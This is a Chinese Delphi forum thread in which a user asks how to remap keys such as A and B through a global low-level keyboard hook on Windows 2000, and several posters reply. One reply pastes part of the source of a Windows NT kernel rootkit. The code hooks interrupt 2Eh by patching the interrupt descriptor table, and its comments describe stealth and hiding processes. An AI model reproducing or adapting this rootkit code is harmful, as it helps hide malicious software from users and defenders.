Win2k关于键盘钩子的问题(300分)

  • 主题发起人 主题发起人 emildy
  • 开始时间 开始时间
E

emildy

Unregistered / Unconfirmed
GUEST, unregistred user!
安装WH_KEYBOARD_LL钩子后,就可以截获键盘消息,
但是,我想在截获键值后改变它,然后继续传递,
比如说,按下"a",那被我截获后将变成"b",再继续传递,
好象在回调涵数中lParam参数指向的KBDLLHOOKSTRUCT结构直接修改没有用,
应该怎么做呢?
 
截获键值后不要继续传递
自己产生一个新的键盘事件。
 
键盘HOOK住的消息是击键消息WM_KEYUP or WM_KEYDOWN
并不是字符消息WM_CHAR,WM_KEYUP or WM_KEYDOWN 消息的WParam中
就是击键的虚似码(SDK winuser.h中有定义)。
WM_KEYUP or WM_KEYDOWN 在Post进线程消息队列时被HOOK CallBack函数截获,
所以你要修改击键内容就改WParam中的码。你得看winuser.h对Virtual-Key Codes
的定义.
 
to loco:
比如说,我要让A键和B键交换,那么我按了A,截获A后产生B,截获B后又产生A,那不是死循环了么?
 
to shopman:
LRESULT CALLBACK LowLevelKeyboardProc(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // message data
);
wParam
[in] Specifies the identifier of the keyboard message. This parameter can be one of the following messages: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP.
lParam
[in] Pointer to a KBDLLHOOKSTRUCT structure.
这里的wParam参数只定义了消息ID呀!?
 
我指的wParam参数是WM_KEYDOWN, WM_KEYUP中的wParam!而非CallBack函数中传入的
wParam.
 
/* VK_0 thru VK_9 are the same as ASCII '0' thru '9' (0x30 - 0x39) */
/* VK_A thru VK_Z are the same as ASCII 'A' thru 'Z' (0x41 - 0x5A) */
这是winuser.h中的注解原文。。。。。。
VK_xxx 就是当你按下一个键时操作系统为了与具体键盘硬件无关而产生的
Virtual-Key 它存放在WM_KEYDOWN, WM_KEYUP击键消息的wParam中。
窗口只能直接处理home/end/箭头按键/F1等/这类击键消息,而字符消息是
通过TranslateMessage函数把击键消息转换成WM_CHAR消息实现的。。。
击键消息和字符消息是两回事!!!!!
我建议你去看看SDK文档中的Keyboard Input这节。。。。。。。。
 
你中看了
WPARAM wParam, // message identifier
这句!!!!
为什么不看它的注解!!!!!
wParam
[in] Specifies the identifier of the keyboard message. This parameter can be one of the following messages: WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, or WM_SYSKEYUP.
 
to shopman:
说了这么多,不懂你什么意思...
我用的是全局的钩子来截获,而不是在某一个窗口函数中截获WM_KEYDOWN之类的消息,
如果是后者的话,在WM_KEYDOWN消息的wParam参数就是你说的那些,
但用全局的钩子好像没办法吧...好像只有自己做一个窗口函数,然后还要指定窗口的窗口函数指向我的,处理完后再返回原来的窗口函数...
 
你只有传递和不传递的权限
 
总而言之,言而总之,
我想把键盘上的A键和B键换过来,F1和F2换过来,Insert和Delete换过来,
在任何情况下都有效,就好像是S键左边的就是B键一样,按Ctrl+Atl+Del变成了Ctrl+Atl+Insert;
 
to 爱元元的哥哥:
好像是这样的,我改了钩子中的参数也没有任何用,那有没有别的方法可以实现呢?
 
要修改就要用驱动
 
to 爱元元的哥哥:
这个,没有接触过...有没有现成的代码看看?
 
Hook中断的部分驱动代码

#include "rk_driver.h"
#include "rk_interrupt.h"
/* ________________________________________________________________________________
. Interrupt hooks
. ---------------
. The rootkit can hook any interrupt. This can be highly useful in stealth
. technique. Feel free to experiment with interrupt hooking. For now, the
. only interupt we are hooking is interrupt 2Eh. Interrupt 2Eh is very important
. to Windows NT/2000 because it is how system services are called.
.
. Important note:
. Although we have hooked int 2Eh, keep in mind that is >NOT< how we are
. implementing our kernel call hooks. We have hooked interrupt 2Eh only to
. demonstrate how this isdo
ne. You can hook any interrupt that you choose.
. The rootkit implements the kernel call hooks in an alternative way, thatdo
es not
. actually require an interrupt hook. Keep in mind that either method will work.
. As it turns out, it is actually easier to hook the system service table itself,
. which is queried and dereferenced whenever interrupt 2Eh fires. So, the rootkit
. has effectively hooked the system calls in two places - both at the interrupt itself,
. and then
at the system service table.
* ________________________________________________________________________________ */
DWORD KiRealSystemServiceISR_Ptr;
/* the real interrupt 2E handler */

/* _____________________________________________________________________________
. Interrupt Hook - if you create other hooks you can copy this one to start.
. _____________________________________________________________________________ */
__declspec(naked) MyKiSystemService()
/* thanks to mad russians */
{
__asm{
pushad
pushfd
push fs
mov bx,0x30
mov fs,bx
push ds
push es
/* all I see are outfits and attitudes
* continue criminality
* the hidden agenda is some psychic neccesity
*/
/* ________________________________________________________
* suggestion for hiding procii - still working on this
*
* taskman appears to make calls in this order:
* call number 116, 163, 166, 163, then
waits for an object
* then
124, 124, 124, then
queries each process by calling
* NtOpenProcess, NtDuplicateObject, then
NtClose.
*
* ________________________________________________________ */
pop es
pop ds
pop fs
popfd
popad
jmp KiRealSystemServiceISR_Ptr;
}
}
/* ________________________________________________________________________________
. This function replaces the interrupt descriptor. You can hook any interrupts
. you choose from this function. Just make sure you unhook them also!
.
. they to discern between truth and suggestion
. they bid for your Id, for your fear of
. rejection.
. ________________________________________________________________________________ */
int HookInterrupts()
{
IDTINFO idt_info;
IDTENTRY* idt_entries;
IDTENTRY* int2e_entry;
__asm{
sidt idt_info;
}
idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
KiRealSystemServiceISR_Ptr = MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
/*******************************************************
* Note: we can patch ANY interrupt here
* the sky is the limit
*******************************************************/
int2e_entry = &amp;(idt_entries[NT_SYSTEM_SERVICE_INT]);
__asm{
cli;
lea eax,MyKiSystemService;
mov ebx, int2e_entry;
mov [ebx],ax;
shr eax,16
mov [ebx+6],ax;
lidt idt_info;
sti;
}
return 0;
}
/* _______________________________________________________________________________
. What is hooked must be unhooked -)
. _______________________________________________________________________________ */
int UnhookInterrupts()
{
IDTINFO idt_info;
IDTENTRY* idt_entries;
IDTENTRY* int2e_entry;
__asm{
sidt idt_info;
}
idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
int2e_entry = &amp;(idt_entries[NT_SYSTEM_SERVICE_INT]);
__asm{
cli;
mov eax,KiRealSystemServiceISR_Ptr;
mov ebx, int2e_entry;
mov [ebx],ax;
shr eax,16
mov [ebx+6],ax;

lidt idt_info;
sti;
}
return 0;
}
 
你用全局HOOK或指定线程ID的HOOK这没有什么影响,全局HOOK针对所有线程。
 
还是找资料慢慢消化了,谢谢各位
 
多人接受答案了。
 
收到wParam指定消息后,
判断 KBDLLHOOKSTRUCT 中的建值,
KBDLLHOOKSTRUCT 结构如下:
tagKBDLLHOOKSTRUCT = packed record
vkCode: DWORD;//虚拟键值
scanCode: DWORD;//扫描码值
flags: DWORD;
time: DWORD;//消息时间戳
dwExtraInfo: DWORD;//和消息相关的扩展信息
end;

判断 vk_Code 是否是你要的值,如果是,在hook函数里PostMessage一个按键消息(WM_..)给接收消息的handle,置 Result := 1.
如不是你想要的值,Result := CallNextHookEx(...);
看此贴或许对你有助: http://www.delphibbs.com/delphibbs/dispq.asp?lid=905344
 
后退
顶部